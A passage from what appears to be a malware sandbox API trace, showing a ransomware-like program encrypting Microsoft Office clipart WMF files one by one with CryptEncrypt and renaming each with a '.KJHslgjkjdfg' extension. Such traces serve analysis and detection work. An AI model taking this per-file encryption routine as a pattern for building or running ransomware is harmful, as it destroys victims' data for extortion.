Office\\CLIPART\\PUB60COR\\NA00784_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf.kjhslgjkjdfg")) returned 1 [0204.896] CloseHandle (hObject=0x130) returned 1 [0204.896] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43213500, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43213500, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x23f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00798_.WMF", cAlternateFileName="")) returned 1 [0204.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.898] GetProcessHeap () returned 0x990000 [0204.898] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.898] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.898] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.898] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.900] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.900] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.901] GetProcessHeap () returned 0x990000 [0204.901] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.901] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.901] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.901] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.901] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.901] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.901] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.901] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.901] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.901] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.901] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.901] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.901] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x23f8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x23f8, lpOverlapped=0x0) returned 1 [0204.902] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2400, dwBufLen=0x2400 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2400) returned 1 [0204.903] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.903] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2400, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2400, lpOverlapped=0x0) returned 1 [0204.903] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.903] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x24d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.903] SetEndOfFile (hFile=0x130) returned 1 [0204.906] GetProcessHeap () returned 0x990000 [0204.906] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.906] GetProcessHeap () returned 0x990000 [0204.906] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.906] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf.kjhslgjkjdfg")) returned 1 [0204.907] CloseHandle (hObject=0x130) returned 1 [0204.908] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc0f000, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecc0f000, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00806_.WMF", cAlternateFileName="")) returned 1 [0204.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.909] GetProcessHeap () returned 0x990000 [0204.909] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.909] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.909] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.909] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.918] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.918] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.918] GetProcessHeap () returned 0x990000 [0204.918] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.919] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.919] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.919] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.919] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.919] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.919] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.919] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.919] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.919] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.919] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.919] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.920] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x788, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x788, lpOverlapped=0x0) returned 1 [0204.920] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x790, dwBufLen=0x790 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x790) returned 1 [0204.920] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.920] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x790, lpOverlapped=0x0) returned 1 [0204.920] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.920] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.920] SetEndOfFile (hFile=0x130) returned 1 [0204.923] GetProcessHeap () returned 0x990000 [0204.923] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.923] GetProcessHeap () returned 0x990000 [0204.923] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.923] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf.kjhslgjkjdfg")) returned 1 [0204.925] CloseHandle (hObject=0x130) returned 1 [0204.925] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb8fc300, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb8fc300, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0xba4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00807_.WMF", cAlternateFileName="")) returned 1 [0204.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.926] GetProcessHeap () returned 0x990000 [0204.926] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.926] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.926] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.927] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0205.004] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.004] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.004] GetProcessHeap () returned 0x990000 [0205.004] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.004] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.004] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.004] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.004] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.004] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.004] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.004] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.005] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.005] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.005] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.005] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.005] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xba4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xba4, lpOverlapped=0x0) returned 1 [0205.005] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbb0, dwBufLen=0xbb0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbb0) returned 1 [0205.005] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.005] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xbb0, lpOverlapped=0x0) returned 1 [0205.005] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.005] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.005] SetEndOfFile (hFile=0x130) returned 1 [0205.011] GetProcessHeap () returned 0x990000 [0205.011] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.011] GetProcessHeap () returned 0x990000 [0205.011] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.011] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf.kjhslgjkjdfg")) returned 1 [0205.013] CloseHandle (hObject=0x130) returned 1 [0205.013] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bce0800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7bce0800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00808_.WMF", cAlternateFileName="")) returned 1 [0205.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.015] GetProcessHeap () returned 0x990000 [0205.015] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.015] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.015] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.015] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0205.018] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.018] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.018] GetProcessHeap () returned 0x990000 [0205.018] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.018] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.018] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.018] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.018] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.018] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.018] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.018] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.019] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.019] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.019] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.019] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x514, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x514, lpOverlapped=0x0) returned 1 [0205.019] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x520, dwBufLen=0x520 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x520) returned 1 [0205.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.019] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x520, lpOverlapped=0x0) returned 1 [0205.019] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.019] SetEndOfFile (hFile=0x130) returned 1 [0205.020] GetProcessHeap () returned 0x990000 [0205.020] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.020] GetProcessHeap () returned 0x990000 [0205.020] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.020] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf.kjhslgjkjdfg")) returned 1 [0205.022] CloseHandle (hObject=0x130) returned 1 [0205.022] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d6900, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe92d6900, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00809_.WMF", cAlternateFileName="")) returned 1 [0205.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.023] GetProcessHeap () returned 0x990000 [0205.023] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.023] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.023] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.023] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, 